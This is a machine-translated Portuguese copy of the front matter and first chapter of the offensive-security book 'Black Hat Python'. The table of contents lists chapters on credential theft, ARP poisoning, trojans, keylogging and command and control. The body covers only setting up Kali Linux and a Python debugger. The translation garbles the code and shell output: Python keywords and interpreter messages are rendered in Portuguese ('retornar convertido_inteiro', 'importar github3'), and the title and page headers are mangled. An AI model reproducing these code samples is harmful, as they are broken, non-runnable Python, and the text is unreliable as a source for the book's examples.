0% acharam este documento útil (0 voto)
115 visualizações195 páginas

Black Hat Python

Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
115 visualizações195 páginas

Black Hat Python

Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

Machine Translated by Google

Píton do Chapéu Preto

Programação Python para


Hackers e pentesters

Justin Seitz

Prefácio de Charlie Miller


www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Píton do Chapéu Preto

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Chapéu preto
Pitão
Programação Python para
Hackers e pentesters

por Justin Seitz

São Francisco

www.it-ebooks.info
Machine Translated by Google

Píton do Chapéu Preto. Copyright © 2015 por Justin Seitz.

Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer forma ou por qualquer
meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por qualquer sistema de armazenamento ou recuperação de
informações, sem a permissão prévia por escrito do proprietário dos direitos autorais e do editor.

Impresso nos EUA

Primeira impressão

18 17 16 15 14 123456789

ISBN-10: 1-59327-590-0
ISBN-13: 978-1-59327-590-7

Editora: William Pollock


Editora de Produção: Serena Yang
Ilustração da capa: Garry Booth
Design de interiores: Octopod Studios
Editor de Desenvolvimento: Tyler Ortman
Revisores Técnicos: Dan Frisch e Cliff Janzen
Editor de texto: Gillian McGarvey
Compositor: Lynn L’Heureux
Revisor: James Fraleigh
Indexador: serviços de indexação e revisão BIM

Para obter informações sobre distribuição, traduções ou vendas a granel, entre em contato diretamente com a No Starch Press, Inc.:

Sem amido Press, Inc.


245 8th Street, São Francisco, CA 94103
telefone: 415.863.9900; [email protected]
www.nostarch.com

Número de controle da Biblioteca do Congresso: 2014953241

No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de produtos e
empresas mencionados aqui podem ser marcas registradas de seus respectivos proprietários. Em vez de usar um símbolo de marca
registrada em cada ocorrência de um nome de marca registrada, utilizamos os nomes apenas de forma editorial e para o benefício do
proprietário da marca registrada, sem intenção de violar os
marca comercial.

As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções tenham sido tomadas
na preparação deste trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer responsabilidade perante qualquer pessoa ou
entidade com relação a qualquer perda ou dano causado ou supostamente causado direta ou indiretamente pelo informações nele
contidas.

www.it-ebooks.info
Machine Translated by Google

Pat

Embora nunca tenhamos nos conhecido, serei eternamente grato por


cada membro de sua maravilhosa família que você me deu.

Sociedade Canadense do Câncer


www.cancer.ca

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Sobre o autor
Justin Seitz é pesquisador sênior de segurança da Immunity, Inc., onde passa seu
tempo caçando bugs, fazendo engenharia reversa, escrevendo exploits e codificando
Python. Ele é o autor de Gray Hat Python, o primeiro livro a abordar Python para
análise de segurança.

Sobre os revisores técnicos


Dan Frisch tem mais de dez anos de experiência em segurança da informação.
Atualmente, ele é analista sênior de segurança em uma agência canadense de
aplicação da lei. Antes dessa função, ele trabalhou como consultor fornecendo
avaliações de segurança para empresas financeiras e de tecnologia na América do
Norte. Como ele é obcecado por tecnologia e possui faixa preta de 3º grau, você pode
assumir (corretamente) que toda a sua vida é baseada em Matrix.

Desde os primeiros dias do Commodore PET e do VIC-20, a tecnologia tem sido uma
companheira constante (e às vezes uma obsessão!) de Cliff Janzen. Cliff descobriu
sua paixão profissional quando mudou para segurança da informação em 2008,
após uma década de operações de TI. Nos últimos anos, Cliff tem trabalhado
felizmente como consultor de segurança, fazendo de tudo, desde revisão de
políticas até testes de penetração, e ele se sente sortudo por ter uma carreira que
também é seu hobby favorito.

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Breve Conteúdo

Prefácio de Charlie Miller. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv

Prefácio. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvii

Agradecimentos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . XIX

Capítulo 1: Configurando seu ambiente Python. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . . 1

Capítulo 2: A Rede: Noções Básicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

Capítulo 3: A Rede: Raw Sockets e Sniffing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

Capítulo 4: Possuindo a Rede com Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

Capítulo 5: Hackers da Web. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

Capítulo 6: Estendendo o Burp Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75

Capítulo 7: Comando e controle do GitHub. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

Capítulo 8: Tarefas comuns de Trojan no Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111

Capítulo 9: Diversão com o Internet Explorer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123

Capítulo 10: Escalonamento de privilégios do Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137

Capítulo 11: Automatizando a Perícia Forense Ofensiva. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151

Índice . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Conteúdo em detalhes

Prefácio de Charlie Miller xv

Prefácio xvii

Agradecimentos XIX

1
Configurando seu ambiente Python 1

Instalando Kali Linux. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2


WingIDE. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

2
A Rede: Noções Básicas 9

Rede Python em um parágrafo. . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 10


Cliente TCP. . . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 10
Cliente UDP. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 11
Servidor TCP. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 12
Substituindo o Netcat. . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 13
Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 19
Construindo um proxy TCP. . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 20
Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 25
SSH com Paramiko. . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 26
Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 29
Tunelamento SSH . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 30
Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 33

3
A Rede: Raw Sockets e Sniffing 35

Construindo uma ferramenta de descoberta de host UDP. . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 36


Sniffing de pacotes no Windows e Linux. . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 36
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 38
Decodificando a camada IP. . . . . . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 38
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 41
Decodificação ICMP. . . . . . . . . . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 42
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 45

www.it-ebooks.info
Machine Translated by Google

4
Possuindo a rede com Scapy 47

Roubando credenciais de e-mail. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48


Chutando os pneus. . . . . . . . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 50
Envenenamento de cache ARP com Scapy. . . . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 51
Chutando os pneus. . . . . . . . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 54
Processamento PCAP. . . . . . . . . . . . . . . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 55
Chutando os pneus. . . . . . . . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 59

5
Hackers da Web 61

A biblioteca de soquetes da Web: urllib2 . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 62


Mapeando instalações de aplicativos da Web de código aberto. . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 63
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 64
Diretórios e locais de arquivos de força bruta. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 65
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 68
Autenticação de formulário HTML de força bruta. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 69
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 74

6
Estendendo o proxy Burp 75

Configurando . . . . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 76
Arrotar Fuzzing. . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 78
. .. .. .. .. .. . ..
Chutando os pneus. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 83
Bing para arrotar. . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 87
Chutando os pneus. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 91
Transformando o conteúdo do site em senha ouro. . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 93
Chutando os pneus. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 97

7
Comando e controle do GitHub 101

Configurando uma conta GitHub. . . . . . . . . .. .


.. .. .. .. .. . .. .. .. .. .. . .. .. .. . 102
Criando Módulos . .. .. .. . .. .. .. .. .. .
.. .. .. .. .. . .. .. .. .. .. . .. .. .. . 103
Configuração de Trojan. . . . . . . . . . . . . . .. .
.. .. .. .. .. . .. .. .. .. .. . .. .. .. . 104
Construindo um Trojan compatível com GitHub. . . . . . .. .
.. .. .. .. .. . .. .. .. .. .. . .. .. .. . 105
Hackeando a funcionalidade de importação do Python. . . . .. .. . .. .. .. .. .. . .. .. .. . 107
Chutando os pneus. . . . . . . . . . . . . . . . . . . .. .. . .. .. .. .. .. . .. .. .. . 108

8
Tarefas comuns de trojan no Windows 111

Keylogging para diversão e pressionamentos de tecla. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 112


Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 114
Tirando capturas de tela. . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 115
Execução de Shellcode Pythonic. . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 116
Chutando os pneus. . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 117
Detecção de caixa de areia. . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 118

xii Conteúdo em detalhes

www.it-ebooks.info
Machine Translated by Google

9
Diversão com o Internet Explorer 123
.. .. .. ..
Homem no navegador (mais ou menos). .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 124
Criando o Servidor. . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 127
Chutando os pneus. . . . . . .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 128
Automação IE COM para exfiltração. . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 128
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 134

10
Escalação de privilégios do Windows 137

Instalando os pré-requisitos......................................... 138


Criando um Monitor de Processo .. . .139
. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Monitoramento de processos com WMI. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
Chutando os pneus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
Privilégios de token do Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
Vencendo a corrida. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
Chutando os pneus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146
Injeção de código. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
Chutando os pneus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149

11
Automatizando a perícia forense ofensiva 151
Instalação. . 152 .. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Perfis.................................................. ....... 152
Capturando hashes de senha. . 153 . . . . . . . . . . . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Injeção direta de código. . 156 .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Chutando os pneus. . .161 .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..

Índice 163

Conteúdo em detalhes xiii

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Prefácio

Python ainda é a linguagem dominante no mundo da segurança da


informação, mesmo que a conversa sobre a linguagem de sua
escolha às vezes pareça mais uma guerra religiosa. As ferramentas
baseadas em Python incluem todos os tipos de fuzzers, proxies e
até explorações ocasionais.
Estruturas de exploração como CANVAS são escritas em Python,
assim como ferramentas mais obscuras como PyEmu ou Sulley.
Quase todos os fuzzers ou exploits que escrevi foram em Python.
Na verdade, a pesquisa sobre hackers automotivos que Chris Valasek e eu
realizamos recentemente continha uma biblioteca para injetar mensagens CAN
em sua rede automotiva usando Python!
Se você estiver interessado em mexer em tarefas de segurança da
informação, Python é uma ótima linguagem para aprender devido ao grande número
de bibliotecas de engenharia reversa e exploração disponíveis para seu uso.
Agora, se apenas os desenvolvedores do Metasploit recuperassem o juízo e
mudassem de Ruby para Python, nossa comunidade estaria unida.

www.it-ebooks.info
Machine Translated by Google

Neste novo livro, Justin cobre uma ampla gama de tópicos que um jovem
hacker empreendedor precisaria para decolar. Ele inclui orientações sobre como ler
e escrever pacotes de rede, como farejar a rede, bem como qualquer coisa que você
possa precisar para auditoria e ataque de aplicativos da web. Em seguida, ele passa
um tempo significativo mergulhando em como escrever código para abordar detalhes
específicos do ataque a sistemas Windows. Em geral, Black Hat Python é uma leitura
divertida e, embora possa não transformá-lo em um hacker super dublê como eu,
certamente pode ajudá-lo a começar o caminho. Lembre-se de que a diferença entre
script kiddies e profissionais é a diferença entre simplesmente usar as ferramentas
de outras pessoas e escrever as suas próprias.

Charles Miller
São Luís, Missouri
Setembro de 2014

xvi Prefácio

www.it-ebooks.info
Machine Translated by Google

Prefácio

Hacker Python. Essas são duas palavras que você realmente poderia
usar para me descrever. Na Immunity, tenho a sorte de trabalhar com
pessoas que realmente sabem como codificar Python. Eu não sou uma
dessas pessoas. Passo grande parte do meu tempo fazendo testes de
penetração, e isso requer um rápido desenvolvimento de ferramentas
Python, com foco na execução e na entrega de resultados (não
necessariamente em beleza, otimização ou mesmo estabilidade). Ao
longo deste livro, você aprenderá que é assim que eu codifico, mas
também sinto que isso faz parte do que me torna um pentester forte.
Espero que essa filosofia e estilo ajudem você também.
À medida que você avança no livro, você também perceberá que não me aprofundo
em nenhum tópico. Isso ocorre intencionalmente. Quero lhe dar o mínimo, com um pouco
de sabor, para que você tenha algum conhecimento básico. Com isso em mente,
espalhei ideias e tarefas de casa ao longo do livro para impulsionar você em sua
própria direção. Encorajo você a explorar essas ideias e adoraria receber comentários
sobre quaisquer implementações, ferramentas ou trabalhos de casa que você tenha
feito.

www.it-ebooks.info
Machine Translated by Google

Como acontece com qualquer livro técnico, leitores com diferentes níveis de habilidade com Python
(ou segurança da informação em geral) terão uma experiência diferente com este livro.
Alguns de vocês podem simplesmente pegá-lo e pegar capítulos pertinentes ao trabalho de
consultoria em que estão, enquanto outros podem lê-lo de capa a capa. Eu recomendaria que, se
você for um programador Python iniciante ou intermediário, comece no início do livro e leia-o direto
na ordem. Você pegará alguns bons blocos de construção ao longo do caminho.

Para começar, estabeleço alguns fundamentos de rede no Capítulo 2 e trabalho lentamente


através de soquetes brutos no Capítulo 3 e usando o Scapy no Capítulo 4 para algumas ferramentas
de rede mais interessantes. A próxima seção do livro trata de hackear aplicativos web, começando
com suas próprias ferramentas personalizadas no Capítulo 5 e depois estendendo o popular Burp
Suite no Capítulo 6. A partir daí, passaremos muito tempo falando sobre trojans, começando com o
comando GitHub. e controle no Capítulo 7, até o Capítulo 10, onde abordaremos alguns truques de
escalonamento de privilégios do Windows. O capítulo final é sobre o uso da Volatilidade para
automatizar algumas técnicas forenses de memória ofensiva.

Tento manter os exemplos de código curtos e diretos, e o mesmo vale para as explicações.
Se você é relativamente novo em Python, eu o encorajo a digitar cada linha para ativar a memória
muscular da codificação. Todos os exemplos de código-fonte deste livro estão disponíveis em http://
nostarch.com/
blackhatpython/.
Aqui vamos nós!

XVIII Prefácio

www.it-ebooks.info
Machine Translated by Google

Agradecimentos

Gostaria de agradecer à minha família – minha linda esposa, Clare, e meus cinco filhos, Emily,
Carter, Cohen, Brady e Mason – por todo o incentivo e tolerância enquanto passei um ano e meio de
minha vida escrevendo este livro. Meus irmãos, minha irmã, minha mãe, meu pai e Paulette também
me deram muita motivação para continuar avançando, não importa o que aconteça. Eu amo todos
vocês.
A todos os meus pais da Immunity (eu listaria cada um de vocês aqui se tivesse a oportunidade
sala): obrigado por me tolerar no dia a dia. Vocês são realmente uma equipe incrível de se
trabalhar. À equipe da No Starch – Tyler, Bill, Serena e Leigh – muito obrigado por todo o trabalho
duro que você dedicou a este livro e ao restante de sua coleção. Todos nós apreciamos isso.

Gostaria também de agradecer aos meus revisores técnicos, Dan Frisch e Cliff Janzen. Esses caras
digitaram e criticaram cada linha do código, escreveram o código de suporte, fizeram edições e
forneceram um suporte absolutamente incrível durante todo o processo. Qualquer pessoa que esteja
escrevendo um livro sobre segurança da informação deveria realmente envolver esses caras; eles
foram incríveis e muito mais.
Para o resto de vocês, rufiões que compartilham bebidas, risadas e GChats:
obrigado por me deixar irritar e reclamar com você sobre escrever este livro.

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

1
Configurando seu
Não importa o meio ambiente

Esta é a parte menos divertida, mas mesmo assim


crítica, do livro, onde abordamos a configuração de um
ambiente para escrever e testar Python. Faremos um
curso intensivo sobre como configurar uma máquina
virtual (VM) Kali Linux e instalar um bom IDE para
que você tenha tudo o que precisa para desenvolver
código. Ao final deste capítulo, você deverá estar
pronto para realizar os exercícios e exemplos de código do restant
Antes de começar, baixe e instale o VMWare Player.1 Também
recomendo que você tenha algumas VMs do Windows prontas, incluindo
Windows XP e Windows 7, de preferência de 32 bits em ambos os casos.

1. Você pode baixar o VMWare Player em http:// www.vmware.com/.

www.it-ebooks.info
Machine Translated by Google

Instalando Kali Linux


Kali é o sucessor da distribuição BackTrack Linux, projetada pela Offensive
Security desde o início como um sistema operacional de teste de penetração. Ele vem
com uma série de ferramentas pré-instaladas e é baseado no Debian Linux, então você
também poderá instalar uma ampla variedade de ferramentas e bibliotecas adicionais
além do que está no sistema operacional para começar.
Primeiro, pegue uma imagem Kali VM no seguinte URL: http:// images
2
.offensive-security.com/ kali-linux-1.0.9-vm-i486.7z. Baixe e descompacte a imagem
e clique duas vezes nela para fazer o VMWare Player iniciá-la. O nome de usuário
padrão é root e a senha é toor. Isso deverá levá-lo ao ambiente de desktop Kali
completo, conforme mostrado na Figura 1-1.

Figura 1-1: O desktop Kali Linux

A primeira coisa que faremos é garantir que a versão correta do Python esteja
instalada. Este livro usará Python 2.7 por toda parte. No shell
(AplicativosÿAcessórios4Terminal), execute o seguinte:

root@kali:~# python --version


Pitão 2.7.3
raiz@kali:~#

2. Para obter uma lista “clicável” dos links neste capítulo, visite http:// nostarch.com/ blackhatpython/.

2 Capítulo 1

www.it-ebooks.info
Machine Translated by Google

Se você baixou exatamente a imagem que recomendei acima, o Python 2.7 será
instalado automaticamente. Observe que usar uma versão diferente do Python pode quebrar
alguns dos exemplos de código deste livro. Você foi avisado.

Agora vamos adicionar algumas peças úteis de gerenciamento de pacotes Python na


forma de easy_install e pip. Eles são muito parecidos com o gerenciador de pacotes apt
porque permitem instalar bibliotecas Python diretamente, sem precisar baixá-las,
descompactá-las e instalá-las manualmente. Vamos instalar esses dois gerenciadores de
pacotes emitindo os seguintes comandos:

root@kali:~#: apt-get install python-setuptools python-pip

Quando os pacotes estiverem instalados, podemos fazer um teste rápido e instalar o


módulo que usaremos no Capítulo 7 para construir um trojan baseado no GitHub. Digite
o seguinte em seu terminal:

root@kali:~#: pip install github3.py

Você deverá ver a saída em seu terminal indicando que a biblioteca está
sendo baixado e instalado.
Em seguida, entre em um shell Python e verifique se ele foi instalado corretamente:

raiz@kali:~#: python
Python 2.7.3 (padrão, 14 de março de 2014, 11:57:14)
[GCC 4.7.2] no Linux2
Digite “ajuda”, “copyright”, “créditos” ou “licença” para obter mais informações.
>>> importar github3
>>> sair()

Se seus resultados não forem idênticos a estes, então há uma “configuração


incorreta” em seu ambiente Python e você trouxe uma grande vergonha ao nosso dojo
Python! Nesse caso, certifique-se de seguir todos os passos acima e de ter a versão
correta do Kali.
Lembre-se de que, para a maioria dos exemplos deste livro, você pode
desenvolver seu código em vários ambientes, incluindo Mac, Linux e Windows. Existem
alguns capítulos específicos do Windows e avisarei você no início do capítulo.

Agora que configuramos nossa máquina virtual de hacking, vamos instalar um


IDE Python para desenvolvimento.

WingIDE
Embora eu normalmente não defenda produtos de software comerciais, WingIDE é o
melhor IDE que usei nos últimos sete anos na Immunity. WingIDE fornece todas as
funcionalidades básicas do IDE, como preenchimento automático e explicação de
parâmetros de função, mas seus recursos de depuração são o que o define

Configurando seu ambiente Python 3

www.it-ebooks.info
Machine Translated by Google

além de outros IDEs. Darei a você um rápido resumo da versão comercial do WingIDE, mas é
claro que você deve escolher a versão que for melhor para você.3

Você pode obter o WingIDE em http:// www.wingware.com/, e recomendo que você instale
o teste para poder experimentar em primeira mão alguns dos recursos disponíveis na versão
comercial.
Você pode fazer seu desenvolvimento em qualquer plataforma que desejar, mas pode ser
é melhor instalar o WingIDE em seu Kali VM, pelo menos para começar. Se você seguiu minhas
instruções até agora, certifique-se de baixar o pacote .deb de 32 bits para WingIDE e salvá-lo
em seu diretório de usuário.
Em seguida, entre em um terminal e execute o seguinte:

root@kali:~# dpkg -i wingide5_5.0.9-1_i386.deb

Isso deve instalar o WingIDE conforme planejado. Se você conseguir alguma instalação
erros, pode haver dependências não atendidas. Neste caso, basta executar:

root@kali:~# apt-get -f instalar

Isso deve corrigir quaisquer dependências ausentes e instalar o WingIDE. Para verificar
se você o instalou corretamente, certifique-se de poder acessá-lo conforme mostrado na Figura 1-2.

Figura 1-2: Acessando o WingIDE pela área de trabalho do Kali

3. Para uma comparação de recursos entre versões, visite https:// wingware.com/ wingide/ features/.

4 Capítulo 1
www.it-ebooks.info
Machine Translated by Google

Abra o WingIDE e abra um novo arquivo Python em branco. Então acompanhe


enquanto apresento um rápido resumo de alguns recursos úteis. Para começar, sua tela
deve se parecer com a da Figura 1.3, com a área principal de edição de código no canto
superior esquerdo e um conjunto de guias na parte inferior.

Figura 1-3: Layout da janela principal do WingIDE

Vamos escrever um código simples para ilustrar algumas das funções úteis
do WingIDE, incluindo as guias Debug Probe e Stack Data. Insira o seguinte código no editor:

def soma(número_um,número_dois):
número_um_int = convert_integer(número_um)
número_dois_int = convert_integer(número_dois)

resultado = número_um_int + número_dois_int

resultado de retorno

def convert_inteiro(número_string):

convertido_inteiro = int(número_string)
retornar convertido_inteiro

resposta = soma("1","2")

Configurando seu ambiente Python 5

www.it-ebooks.info
Machine Translated by Google

Este é um exemplo muito inventado, mas é uma excelente demonstração de como


facilitar sua vida com o WingIDE. Salve-o com qualquer nome de arquivo desejado, clique no
item de menu Debug e selecione a opção Select Current as Main Debug File , conforme
mostrado na Figura 1-4.

Figura 1-4: Configurando o script Python atual para depuração

Agora defina um ponto de interrupção na linha de código que diz:

retornar convertido_inteiro

Você pode fazer isso clicando na margem esquerda ou pressionando a tecla F9.
Você deverá ver um pequeno ponto vermelho aparecer na margem. Agora execute o script
pressionando F5 e a execução deverá parar no seu ponto de interrupção. Clique na guia Stack
Data e você deverá ver uma tela como a da Figura 1-5.
A guia Stack Data nos mostrará algumas informações úteis, como o estado de quaisquer
variáveis locais e globais no momento em que nosso ponto de interrupção foi atingido. Isso
permite depurar códigos mais avançados onde você precisa inspecionar variáveis durante a
execução para rastrear bugs. Se você clicar na barra suspensa, também poderá ver a pilha de
chamadas atual, que informa qual função chamou a função em que você está atualmente. Dê
uma olhada na Figura 1-6 para ver o rastreamento de pilha.

6 Capítulo 1
www.it-ebooks.info
Machine Translated by Google

Figura 1-5: Visualizando dados da pilha após um ponto de interrupção atingido

Figura 1-6: Visualizando o rastreamento de pilha atual

Configurando seu ambiente Python 7

www.it-ebooks.info
Machine Translated by Google

Podemos ver que convert_integer foi chamado a partir da função sum na linha
3 do nosso script Python. Isso se torna muito útil se você tiver chamadas de função
recursivas ou uma função chamada de muitos locais potenciais. Usar a guia Stack Data
será muito útil em sua carreira de desenvolvimento Python!
O próximo recurso importante é a guia Debug Probe. Esta guia permite que
você entre em um shell Python que está sendo executado no contexto atual do
momento exato em que seu ponto de interrupção foi atingido. Isso permite
inspecionar e modificar variáveis, bem como escrever pequenos trechos de
código de teste para testar novas ideias ou solucionar problemas. A Figura 1.7
demonstra como inspecionar a variável convert_integer e alterar seu valor.

Figura 1-7: Usando o Debug Probe para inspecionar e modificar variáveis locais

Depois de fazer algumas modificações, você pode retomar a execução do script


pressionando F5.
Embora este seja um exemplo muito simples, ele demonstra alguns dos
recursos mais úteis do WingIDE para desenvolver e depurar scripts Python.4

Isso é tudo que precisamos para começar a desenvolver código para o


restante deste livro. Não se esqueça de preparar as máquinas virtuais como
máquinas de destino para os capítulos específicos do Windows, mas é claro que
o uso de hardware nativo não deve apresentar problemas.
Agora vamos nos divertir de verdade!

4. Se você já usa um IDE que possui recursos comparáveis ao WingIDE, envie-me um e-mail ou um tweet porque eu
adoraria ouvir sobre isso!

8 Capítulo 1
www.it-ebooks.info
Machine Translated by Google

2
A Rede: Noções Básicas

A rede é e sempre será a arena mais sexy para um hacker. Um


invasor pode fazer quase tudo com um simples acesso à rede, como
procurar hosts, injetar pacotes, detectar dados, explorar hosts
remotamente e muito mais. Mas se você é um invasor que penetrou nas
profundezas de um alvo corporativo, poderá se deparar com um enigma:
você não tem ferramentas para executar ataques de rede. Nada de
netcat. Sem Wireshark. Nenhum compilador e nenhum meio de instalar
um. No entanto, você pode se surpreender ao descobrir que, em muitos
casos, encontrará uma instalação do Python e é por aí que
começaremos.
Este capítulo fornecerá alguns conceitos básicos sobre redes Python usando o
módulo socket1 . Ao longo do caminho, construiremos clientes, servidores e um proxy
TCP; e depois transformá-los em nosso próprio netcat, completo com shell de comando.

1. A documentação completa do soquete pode ser encontrada aqui: http:// docs.python.org/ 2/ library/ socket.html.

www.it-ebooks.info
Machine Translated by Google

Este capítulo é a base para os capítulos subsequentes, nos quais construiremos uma
ferramenta de descoberta de host, implementaremos sniffers de plataforma cruzada e
